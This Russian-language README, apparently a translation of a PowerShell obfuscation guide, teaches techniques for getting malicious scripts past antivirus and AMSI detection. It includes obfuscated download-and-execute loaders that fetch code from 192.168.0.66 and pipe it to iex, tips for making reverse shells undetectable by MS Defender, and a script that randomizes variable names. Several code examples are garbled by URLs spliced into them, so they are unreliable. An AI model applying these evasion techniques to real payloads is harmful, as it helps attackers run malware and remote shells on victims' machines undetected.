
A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.
Сборник техник, примеров и немного теории по ручной обфускации PowerShell-скриптов для обхода сигнатурного детектирования, составленный в образовательных целях. Содержимое этого репозитория — результат личных исследований, включая чтение материалов в интернете и проведение проб и ошибок в лабораторных условиях и пентестах. Не стоит воспринимать всё как должное.
Видеопрезентация на YouTube: youtube.com/watch?v=tGFdmAh_lXE
⚠️ Отказ от ответственности: Использование техник и концепций, описанных в этом репозитории, для получения несанкционированного доступа к системам, на тестирование которых у вас нет разрешения, является незаконным. Вы несёте ответственность за свои действия. Не будьте злом.
Научный термин entropy, который обычно определяется как мера случайности или беспорядка системы, важен в обходе антивирусов. Это связано с тем, что вредоносное ПО часто содержит код, который сильно рандомизирован, зашифрован и/или закодирован (обфусцирован), чтобы его было трудно анализировать и, следовательно, обнаруживать. Как один из различных методов, антивирусные продукты используют анализ энтропии для выявления потенциально вредоносных файлов и полезных нагрузок.
Важно понимать эту концепцию, потому что при обфускации кода следует учитывать изменение энтропии, создаваемое выбранными вами изменениями. Ломать сигнатуры легко, но если не обращать внимания на уровень энтропии, продвинутые AV/EDR увидят это насквозь.
Принцип, который стоит держать в уме: Чем больше энтропия, тем выше вероятность того, что данные обфусцированы или зашифрованы, и тем вероятнее, что файл/полезная нагрузка вредоносны. К счастью, есть способы её снизить.
Claude E. Shannon представил формулу в своей статье 1948 года A Mathematical Theory of Communication, которую можно использовать для измерения энтропии набора данных. Вот простая реализация Shannon Entropy на Python, которую вы можете использовать для измерения энтропии разрабатываемых полезных нагрузок:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
Вы также можете использовать этот онлайн-калькулятор энтропии Шеннона или утилиту Microsoft Sigcheck.exe с опцией -a.
Зрелый и элегантный подход перед тем, как бросаться в метод проб и ошибок с обфускацией, чтобы получить вариант полезной нагрузки, который не помечается, — это выявить части скрипта, которые вызывают детектирование вредоносного ПО. Особенно в коротких скриптах, таких как C2-команды, вы, возможно, сможете внести незначительные изменения и сразу же исчезнуть с радаров.
Отличный инструмент для выявления таких триггеров — AMSITrigger. Вот пример использования с файлом, содержащим вредоносный скрипт. Красная область обозначает часть, к которой следует применить обфускацию:

Вы также можете выявлять триггеры вручную, выполняя скрипт по частям.
При обфускации скриптов приоритетом должна быть замена имён переменных/классов/функций на случайные. Таким образом, в сочетании с другими техниками, вы сможете легко обойти детектирование. Но следует помнить об энтропии разрабатываемых полезных нагрузок. Обратите внимание на следующий стандартный reverse shell скрипт, который обычно обнаруживается большинством, если не всеми антивирусами:

Теперь рассмотрим следующую обфусцированную версию:

В этой версии все имена переменных заменены на случайные имена длиной 32 символа. Также я заменил (pwd).Path на $(gl). Полезная нагрузка имеет Shannon entropy 4.96. На момент написания этого текста она не обнаруживается MS Defender и рядом других продуктов:

Теперь рассмотрим эту версию:

В этом варианте также заменены все имена переменных, но на этот раз на имена, состоящие из x символов 'f', что приводит к значительному снижению энтропии полезной нагрузки. Здесь я также заменил (pwd).Path на $(gl). Опять же, на момент написания этот вариант не обнаруживается MS Defender. Полезная нагрузка имеет Shannon entropy 0.76.

⚡ Оба этих варианта обходят обычные антивирусы, но второй имеет более низкую энтропию и, вероятно, будет иметь больше шансов при обработке EDR и другими продвинутыми антивирусными движками. ⚠️ Я не утверждаю, что лучшая производительность второго варианта полезной нагрузки в этом примере обязательно связана с уровнем энтропии (я не могу этого знать наверняка; возможно, дело в длине, или в обоих факторах, или ещё в чём-то), но это важный аспект, который следует учитывать при обфускации, и этот пример призван подчеркнуть данную концепцию.
Вы можете использовать скрипт ниже для рандомизации имён переменных в PowerShell-скрипте. ⚠️ Скрипт не идеален! Если запустить его на больших сложных PowerShell-скриптах, он может сломать их функциональность, заменив то, что не нужно. Используйте с осторожностью и осознанно.
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
Заменять $True и $False на другие логические эквиваленты — очень весело и просто, а самих эквивалентов буквально бесконечное множество. Особенно если вы выявили триггер детектирования в полезной нагрузке и он включает $True или $False, вы, скорее всего, сможете обойти детектирование, просто заменив значение на логический эквивалент. Все примеры ниже вычисляются как True. Их можно превратить в False, просто добавив восклицательный знак перед выражением (например, ![bool]0x01):
0, Null или пустой строкой, вернёт True:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True (ну тут очевидно):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True из атрибутов объекта:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True или False:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
Вы можете обфусцировать командлеты, вставляя одинарные и/или двойные кавычки между символами, если только это не начало. Это суперэффективно! Например, выражение iex "pwd" можно заменить на:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
Это немного грязно, но может пригодиться. В терминале Windows CMD можно добавлять символ крышки (^) между символами команды, и она всё равно будет выполняться нормально. В PowerShell-скрипте один из способов использовать это будет таким:
cmd /c "who^am^i"

Действительно крутой трюк, который показал мне мой друг и могучий хакер Karol Musolff (@kmusolff). Вы можете использовать Get-Command (или gcm), чтобы получить имя (строку) любой команды, включая все не-PowerShell файлы в переменной окружения Path ($env:Path), используя подстановочные знаки. Затем их можно запускать как задания с помощью оператора &. Например, следующую строку:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
Можно обфусцировать до:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Или даже лучше, вот этот вариант с более низким значением Shannon entropy:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Некоторые циклы можно заменить на другие типы циклов или функции. Например, цикл While ($True){ # some code } можно заменить на следующее:
Бесконечный цикл For
For (;;) { # some code }
Цикл Do-While
Do { # some code } While ($true)
Цикл Do-Until
Do { # some code } Until (1 -eq 2)
Рекурсивную функцию
function runToInfinity {
# do something;
runToInfinity;
}
Можно попробовать добавить параметры к командлету. Например, следующую строку:
iex "whoami"
Можно расширить до:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
Вы, конечно, можете попробовать и обратное.
Можно «засорять» скрипт случайными переменными и функциями. Предположим, следующий скрипт является вредоносным:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
Возможно, вам удастся сломать его сигнатуру, сделав что-то вроде:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
Всегда можно поискать в скрипте команды или даже целые блоки кода, которые можно заменить компонентами с той же/похожей функциональностью. В следующем классическом reverse shell скрипте команда pwd используется для получения текущей рабочей директории и восстановления значения приглашения оболочки:

Часть (pwd).Path можно заменить следующим странным, нетрадиционным маленьким скриптом, и хотя он даже содержит pwd, он служит нашей цели — ломает сигнатуру, сохраняя функциональность скрипта:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
Конечно, есть и более простые замены для pwd, например gl, get-location и cmd.exe /c chdir, которые могут сработать, особенно в сочетании с другими техниками.
Тому, что можно делать со строками, нет конца. Ниже приведены некоторые интересные концепции. В примерах используется строка 'malware':
Ценой добавления пары новых строк можно превратить строку в here-string.
Это:
$x = 'echo malware';
iex $x;
То же самое, что:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
Довольно прямолинейно и классически:
'mal' + 'w' + 'ar' + 'e'
Поместите нужное значение между посторонней строкой и используйте substring() для его извлечения на основе начального и конечного индексов:
'xxxmalwarexxx'.Substring(3,7)
Создайте мусорную строку и замените её нужным значением с помощью regex-совпадения:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
Закодируйте строку и декодируйте её внутри скрипта:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"
Это только для начала. Продолжение следует...
Обфускация скрипта путём добавления комментариев там и сям может сработать и сама по себе.
Например, команда reverse shell может быть обфусцирована так:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> в разных местах)
Это не только сработает, но и снизит значение Shannon entropy полезной нагрузки (при условии, что вы не используете сложные случайные комментарии).
Существуют строки, похожие на вредоносное ПО, которые мгновенно вызывают срабатывание AMSI, и их замена должна быть приоритетом при обфускации скриптов. Посмотрите:

От одного ввода строки 'invoke-mimikatz' в терминале у AMSI случается припадок (скрипт даже не присутствует и не загружен).
Такие строки могут встречаться и в комментариях, так что их лучше удалять, особенно из ресурсов с открытым исходным кодом, которые вы берёте из интернета (например, Invoke-Mimikatz.ps1 с GitHub).
*Вообще, удалять комментарии — хорошая идея. Это был просто пример.
Пожалуй, самый старый трюк в книге. Рандомизация регистра символов командлетов и параметров может помочь:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
Иногда достаточно просто переместить переменные и классы в другие места, особенно если вы нашли триггер детектирования и он включает определение переменной, которое может быть выполнено где-то в другом месте, например, в начале скрипта.
Иногда обойти антивирус можно, просто выполняя вредоносный скрипт построчно. Это, конечно, может быть сложно сделать в зависимости от обстоятельств. Если вы попробуете, помните о блоках скрипта, которые должны выполняться целиком (например, циклы, блоки try-catch, условные операторы, определения функций и т.д.). Чтобы проверить это, можно взять обычный PowerShell reverse shell скрипт (без обфускации) и выполнять его построчно. Будет ли он помечен? ;)